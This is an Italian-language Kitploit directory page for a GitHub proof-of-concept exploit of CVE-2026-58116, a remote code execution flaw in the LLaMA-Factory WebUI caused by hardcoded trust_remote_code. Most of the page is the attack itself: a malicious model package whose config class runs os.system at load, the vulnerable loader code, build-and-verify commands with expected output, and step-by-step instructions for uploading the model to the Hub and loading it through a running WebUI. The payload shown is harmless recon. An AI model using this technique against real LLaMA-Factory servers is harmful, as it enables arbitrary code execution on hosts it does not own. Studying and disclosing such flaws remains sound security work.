Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
llama-factory-webui-rce-cve-2026-58116-trust-remote-code-model-path-injection | Kitploit
Strumenti/GitHubGitHub/hunt-benito/llama-factory-webui-rce-cve-2026-58116-trust-remote-code-model-path-injection
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebCTFPaper e RicercaApprendimento e FormazioneSviluppo Payload

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
hunt-benito/llama-factory-webui-rce-cve-2026-58116-trust-remote-code-model-path-injection

llama-factory-webui-rce-cve-2026-58116-trust-remote-code-model-path-injection

Vedi Repository
1 mese faNon ancora revisionato

CVE-2026-58116 — RCE nella WebUI di LLaMA-Factory tramite trust_remote_code

Prova di concetto per CVE-2026-58116 (CVSS 9.8 Critico): esecuzione remota di codice in LLaMA-Factory <= v0.9.5.

La WebUI di LLaMA-Factory imposta in modo hardcoded trust_remote_code=True quando carica un modello (src/llamafactory/webui/chatter.py:139 e runner.py:175,320). Il campo "Model path" controllato dall'attaccante viene passato senza validazione a AutoTokenizer.from_pretrained() / AutoModel.from_pretrained(), quindi la libreria transformers di Hugging Face scarica ed esegue codice Python arbitrario da un repository di modelli dannoso.

⚠️ Solo uso educativo

Questa PoC è destinata esclusivamente a test di sicurezza autorizzati e scopi educativi. Il payload incluso è volutamente innocuo (stampa la ricognizione dell'host tramite id). Esegui la PoC solo su sistemi che possiedi o sui quali sei autorizzato a effettuare test. Non distribuire mai un payload malintenzionato contro infrastrutture senza autorizzazione esplicita.

Contenuti

root@kitploit:~
.
├── poc-model/
│   ├── config.json          # declares auto_map → attacker modules
│   ├── configuration_poc.py # payload: runs os.system("id ...") at config load
│   ├── modeling_poc.py      # minimal stub model class
│   └── __init__.py          # makes it an importable package
└── build_and_verify.py      # assemble + verify the sink in isolation

Come funziona il sink

transformers istanzia la classe di configurazione prima di caricare qualsiasi peso, quindi il payload in PoCConfig.__init__ scatta non appena la configurazione viene letta — non è necessario che esista alcun peso. È esattamente il percorso che LLaMA-Factory segue tramite src/llamafactory/model/loader.py:

root@kitploit:~
def _get_init_kwargs(model_args):
    return {"trust_remote_code": model_args.trust_remote_code, ...}   # True (hardcoded)

def load_tokenizer(model_args):
    init_kwargs = _get_init_kwargs(model_args)
    tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, **init_kwargs)

Avvio rapido

Verifica il sink localmente (nessuna WebUI necessaria — dimostra il contratto che la WebUI viola):

root@kitploit:~
pip install transformers torch
python3 build_and_verify.py

Output atteso — nota che il banner del payload compare durante il caricamento della configurazione:

root@kitploit:~
[+] PoC model assembled at .../poc-model
[*] Loading config with trust_remote_code=True (this triggers the PoC)...
============================================================
[CVE-2026-58116 PoC] trust_remote_code payload executed!
  time      : 2026-07-02T...
  host      : gpu-host-01
  user      : hbuser
------------------------------------------------------------
uid=1000(hbuser) gid=1000(hbuser) groups=1000(hbuser)
============================================================
[+] Config loaded: PoCConfig (model_type=poc_model)

End-to-end tramite una WebUI LLaMA-Factory in esecuzione:

  1. Carica il modello PoC sull'Hub:
    root@kitploit:~
    huggingface-cli login
    python3 build_and_verify.py --upload your-user/llmfcty-poc
    
  2. Avvia un'istanza vulnerabile di LLaMA-Factory: llamafactory-cli webui
  3. Apri la scheda Chat, imposta Model path su your-user/llmfcty-poc, fai clic su Load Model.
  4. Il payload viene eseguito sul server come processo LLaMA-Factory.

Riferimenti

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-58116
  • Advisory VulnCheck: https://www.vulncheck.com/advisories/llama-factory-remote-code-execution-via-webui-model-path
  • Divulgazione originale (h3nrrrych4u): https://gist.github.com/henrrrychau/08d76ec672f42136bbc1449c4f2973f8
Scarica lo strumento